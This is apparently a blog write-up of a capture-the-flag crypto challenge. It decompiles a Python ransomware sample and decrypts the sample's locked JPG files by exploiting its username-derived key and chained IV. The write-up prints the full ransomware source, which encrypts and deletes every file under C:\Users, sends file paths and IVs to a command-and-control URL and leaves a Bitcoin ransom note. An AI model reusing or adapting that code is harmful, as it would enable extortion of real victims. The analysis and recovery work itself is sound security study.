Contents

Santhacklaus 2019: Jacques ! Au secours !

Funny crypto challenge in which we have to crack the vulnerable AES implementation of a Python ransomware to decrypt JPG files.

Statement

One of our VIP clients, who whises to remain anonymous, has apparently been hacked and all their important documents are now corrupted.

Can you help us recover the files? We found a starnge piece of software that might have caused all of this.

MD5 of the file:

ccaab91b06fc9a77f3b98d2b9164df8e

Decompile the malware code

Here is what the chall_files.zip looks like inside.

$ tree

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.
├── vacation pictures
│   ├── DCIM-0533.jpg.hacked
│   ├── DCIM-0534.jpg.hacked
│   ├── DCIM-0535.jpg.hacked
│   ├── DCIM-0536.jpg.hacked
│   └── READ_THIS.txt
└── virus.cpython-37.pyc

1 directory, 6 files

So we have a compiled Python script that encrypted 4 images, 1 of them containing the flag.

There is also a READ_THIS.txt:

READ_THIS.txt
We have hacked all your files. Buy 1 BTC and contact us at hacked@virus.com

First thing to do is decompile virus.cpython-37.pyc. For that we can use uncompyle6, installable via pip.

$ pip install --user uncompyle6

$ uncompyle6 virus.cpython-37.pyc > virus.py

Here is what virus.py looks like.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import hashlib, os, getpass, requests
TARGET_DIR = 'C:\\Users'
C2_URL = 'https://c2.virus.com/'
TARGETS = ['Scott Farquhar', 'Lei Jun', 'Reid Hoffman', 'Zhou Qunfei', 'Jeff Bezos', 'Shiv Nadar', 'Simon Xie', 'Ma Huateng', 'Ralph Dommermuth', 'Barry Lam', 'Nathan Blecharczyk', 'Judy Faulkner', 'William Ding', 'Scott Cook', 'Gordon Moore', 'Marc Benioff', 'Michael Dell', 'Yusaku Maezawa', 'Yuri Milner', 'Bobby Murphy', 'Larry Page', 'Henry Samueli', 'Jack Ma', 'Jen-Hsun Huang', 'Jay Y. Lee', 'Joseph Tsai', 'Dietmar Hopp', 'Henry Nicholas, III.', 'Dustin Moskovitz', 'Mike Cannon-Brookes', 'Robert Miller', 'Bill Gates', 'Garrett Camp', 'Lin Xiucheng', 'Gil Shwed', 'Sergey Brin', 'Rishi Shah', 'Denise Coates', 'Zhang Fan', 'Michael Moritz', 'Robin Li', 'Andreas von Bechtolsheim', 'Brian Acton', 'Sean Parker', 'John Doerr', 'David Cheriton', 'Brian Chesky', 'Wang Laisheng', 'Jan Koum', 'Jack Sheerack', 'Terry Gou', 'Adam Neumann', 'James Goodnight', 'Larry Ellison', 'Wang Laichun', 'Masayoshi Son', 'Min Kao', 'Hiroshi Mikitani', 'Lee Kun-Hee', 'David Sun', 'Mark Scheinberg', 'Yeung Kin-man', 'John Tu', 'Teddy Sagi', 'Frank Wang', 'Robert Pera', 'Eric Schmidt', 'Wang Xing', 'Evan Spiegel', 'Travis Kalanick', 'Steve Ballmer', 'Mark Zuckerberg', 'Jason Chang', 'Lam Wai Ying', 'Romesh T. Wadhwani', 'Liu Qiangdong', 'Jim Breyer', 'Zhang Zhidong', 'Pierre Omidyar', 'Elon Musk', 'David Filo', 'Joe Gebbia', 'Jiang Bin', 'Pan Zhengmin', 'Douglas Leone', 'Hasso Plattner', 'Paul Allen', 'Meg Whitman', 'Azim Premji', 'Fu Liquan', 'Jeff Rothschild', 'John Sall', 'Kim Jung-Ju', 'David Duffield', 'Gabe Newell', 'Scott Lin', 'Eduardo Saverin', 'Jeffrey Skoll', 'Thomas Siebel', 'Kwon Hyuk-Bin']

def get_username():
    return getpass.getuser().encode()


def xorbytes(a, b):
    assert len(a) == len(b)
    res = ''
    for c, d in zip(a, b):
        res += bytes([c ^ d])

    return res


def lock_file(path):
    username = get_username()
    hsh = hashlib.new('md5')
    hsh.update(username)
    key = hsh.digest()
    cip = AES.new(key, 1)
    iv = get_random_bytes(16)
    params = (('target', username), ('path', path), ('iv', iv))
    requests.get(C2_URL, params=params)
    with open(path, 'rb') as fi:
        with open(path + '.hacked', 'wb') as fo:
            block = fi.read(16)
            while block:
                while len(block) < 16:
                    block += bytes([0])

                cipherblock = cip.encrypt(xorbytes(block, iv))
                iv = cipherblock
                fo.write(cipherblock)
                block = fi.read(16)

    os.unlink(path)


def lock_files():
    username = get_username()
    print(username)
    if username in TARGETS:
        for directory, _, filenames in os.walk(TARGET_DIR):
            for filename in filenames:
                if filename.endswith('.hacked'):
                    continue
                fullpath = os.path.join(directory, filename)
                print('Encrypting', fullpath)
                lock_file(fullpath)

        with open(os.path.join(TARGET_DIR, 'READ_THIS.txt'), 'wb') as fo:
            fo.write('We have hacked all your files. Buy 1 BTC and contact us at hacked@virus.com\n')


if __name__ == '__main__':
    lock_files()

The script has precise targets. If the infected user is one of the them, then the script will encrypt all files in C:\Users using AES128-ECB.

That what happened with our “client” and their 4 images. Let’s try to find what goes wrong with this script and how to recover the files.

Spot the vuln

The function we have to analyze is the lock_file() one, which is used on each file separatly.

The malware works like the following:

  • Generate a 128-bits key
  • Generate a 128-bits random value (called iv)
  • Open a file and cut it into 128-bits blocks
  • XOR each block with the iv
  • Encrypt the XOR result with the key using AES-ECB

The first interesting thing is the choice of the key used for encryption: it is the MD5 digest of the target’s username.

1
2
3
4
5
username = get_username()
hsh = hashlib.new('md5')
hsh.update(username)
key = hsh.digest()
cip = AES.new(key, 1)

At this point we don’t know who has been hacked so we will have to test all possible keys, that means all names in TARGETS list (100 values). However, the iv value is completely secret and we have no way to retrieve it. This is embarrassing because we only need the key and the iv to decrypt all our files.

But if we take a closer look, the only iv value that we can’t predict is the one used to encrypt the first block only. In fact, after encrpyting a block, the iv is overridden by the value of the encrypted block.

1
2
cipherblock = cip.encrypt(xorbytes(block, iv))
iv = cipherblock

Without this line, it would have been impossible to decrypt the files. But now that we have spotted this, we can predict the iv value for each block, except the first one of each file. Personally, I understood it well when I did a diagram, so here is a little one.

Now in order to decrypt a file, we will have to do the opposite operation:

  • Decrypt the block with the key
  • XOR the obtained bytes with the previous block

This will work except for the first block. It is XORed with an unknown value, so how to recover it? Fortunately, the malware is very kind with us and leaves the encrypted file’s extension after locking it: “DCIM-0533.jpg.hacked”. This is very useful because it allows us to guess the first bytes of the file thanks to magic numbers! Wikipedia tells us that a .jpg file starts as below.

FF D8 FF E0 00 10 4A 46 49 46 00 01

There are 12 of them, and we know a block has a length of 16. Let’s just append some null bytes.

FF D8 FF E0 00 10 4A 46 49 46 00 01 00 00 00 00

And we have our (theorical) first block.

Here is a little recap.

  • To decrypt a block, we need
    • The key
    • The corresponding iv
  • The key is common to each block and we have 100 possible candidates
  • The iv changes for each encrypted block
    • 1st block: random unknown value
    • Other blocks: value of previous encrypted block

Script the recovery tool

First, let’s copy the xorbytes function from virus.py to our decrypt.py, as XORing a value is the same operation than unXORing it.

1
2
3
4
5
6
7
def xorbytes(a, b):
    if not len(a) == len(b):
        raise AssertionError
    res = ''
    for c, d in zip(a, b):
        res += bytes([c ^ d])
    return res

(Though I had to change the line res = '' to res = b'' to avoid a TypeError exception)

Then, let’s write our decrypt function, which will take filename and key as parameters and generate a (hopefully valid) .jpg file.

We get the value of the first block thanks to the magic bytes.

1
2
3
def decrypt(filename, key):
    magic = bytes.fromhex('ffd8ffe000104a4649460001')
    magic += bytes(16-len(magic)) # Padding with zeros

Our AES cipher:

1
cip = AES.new(key, 1)

The algo of block decryption:

  • Take 2 blocks of image.jpg.hacked
  • Decrypt the 2nd block with key: it gives the XORed block
  • XOR the XORed block with the 1st block: it gives the clear block
  • Write the clear block to image.jpg
  • Do that again
1
2
3
4
5
6
7
8
9
with open(filename, 'rb') as fenc:
    with open(filename.rstrip(".hacked"), 'wb') as fdec:
        fdec.write(magic)
        benc1, benc2 = fenc.read(16), fenc.read(16)
        while benc2:
            bxor = cip.decrypt(benc2)
            bdec = xorbytes(bxor, benc1)
            fdec.write(bdec)
            benc1, benc2 = benc2, fenc.read(16)

Now we have to run this function for each possible key, i.e. each value of this list:

1
TARGETS = ['Scott Farquhar', 'Lei Jun', 'Reid Hoffman', 'Zhou Qunfei', 'Jeff Bezos', 'Shiv Nadar', 'Simon Xie', 'Ma Huateng', 'Ralph Dommermuth', 'Barry Lam', 'Nathan Blecharczyk', 'Judy Faulkner', 'William Ding', 'Scott Cook', 'Gordon Moore', 'Marc Benioff', 'Michael Dell', 'Yusaku Maezawa', 'Yuri Milner', 'Bobby Murphy', 'Larry Page', 'Henry Samueli', 'Jack Ma', 'Jen-Hsun Huang', 'Jay Y. Lee', 'Joseph Tsai', 'Dietmar Hopp', 'Henry Nicholas, III.', 'Dustin Moskovitz', 'Mike Cannon-Brookes', 'Robert Miller', 'Bill Gates', 'Garrett Camp', 'Lin Xiucheng', 'Gil Shwed', 'Sergey Brin', 'Rishi Shah', 'Denise Coates', 'Zhang Fan', 'Michael Moritz', 'Robin Li', 'Andreas von Bechtolsheim', 'Brian Acton', 'Sean Parker', 'John Doerr', 'David Cheriton', 'Brian Chesky', 'Wang Laisheng', 'Jan Koum', 'Jack Sheerack', 'Terry Gou', 'Adam Neumann', 'James Goodnight', 'Larry Ellison', 'Wang Laichun', 'Masayoshi Son', 'Min Kao', 'Hiroshi Mikitani', 'Lee Kun-Hee', 'David Sun', 'Mark Scheinberg', 'Yeung Kin-man', 'John Tu', 'Teddy Sagi', 'Frank Wang', 'Robert Pera', 'Eric Schmidt', 'Wang Xing', 'Evan Spiegel', 'Travis Kalanick', 'Steve Ballmer', 'Mark Zuckerberg', 'Jason Chang', 'Lam Wai Ying', 'Romesh T. Wadhwani', 'Liu Qiangdong', 'Jim Breyer', 'Zhang Zhidong', 'Pierre Omidyar', 'Elon Musk', 'David Filo', 'Joe Gebbia', 'Jiang Bin', 'Pan Zhengmin', 'Douglas Leone', 'Hasso Plattner', 'Paul Allen', 'Meg Whitman', 'Azim Premji', 'Fu Liquan', 'Jeff Rothschild', 'John Sall', 'Kim Jung-Ju', 'David Duffield', 'Gabe Newell', 'Scott Lin', 'Eduardo Saverin', 'Jeffrey Skoll', 'Thomas Siebel', 'Kwon Hyuk-Bin']

I was telling me this was going to be a little time consuming when, by luck, my eye stuck on a “Jack Sheerack” value right in the middle of the list.

I remembered the name of the chall and decided to test this single value first, so I created a TARGET variable and decrypted all the files using it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if __name__ == "__main__":
    FENC_list = [
        "/home/thbz/CTF/Santhacklaus/jacques_au_secours/vacation pictures/DCIM-0533.jpg.hacked",
        "/home/thbz/CTF/Santhacklaus/jacques_au_secours/vacation pictures/DCIM-0534.jpg.hacked",
        "/home/thbz/CTF/Santhacklaus/jacques_au_secours/vacation pictures/DCIM-0535.jpg.hacked",
        "/home/thbz/CTF/Santhacklaus/jacques_au_secours/vacation pictures/DCIM-0536.jpg.hacked"
    ]
    TARGET = "Jack Sheerack"

    for FENC in FENC_list:
        print("[+] Decrypting %s..." % FENC.split('/')[-1])
        key = hashlib.md5(TARGET.encode()).digest()
        decrypt(FENC, key)

/img/santhacklaus-2019-jacques-au-secours/flag.png

Flag
SANTA{Jacques_Th3_R1pp3R}

So we got it! Our VIP client was effectively “Jack Sheerack”, and the trick with the magic bytes + the null bytes worked :D

Thanks Mathis Hammel for the chall, I am a crypto-newbie and challs like this make me want to practice more!

/img/santhacklaus-2019-jacques-au-secours/DCIM-0533.jpg
DCIM-0533.jpg
/img/santhacklaus-2019-jacques-au-secours/DCIM-0535.jpg
DCIM-0535.jpg
/img/santhacklaus-2019-jacques-au-secours/DCIM-0536.jpg
DCIM-0536.jpg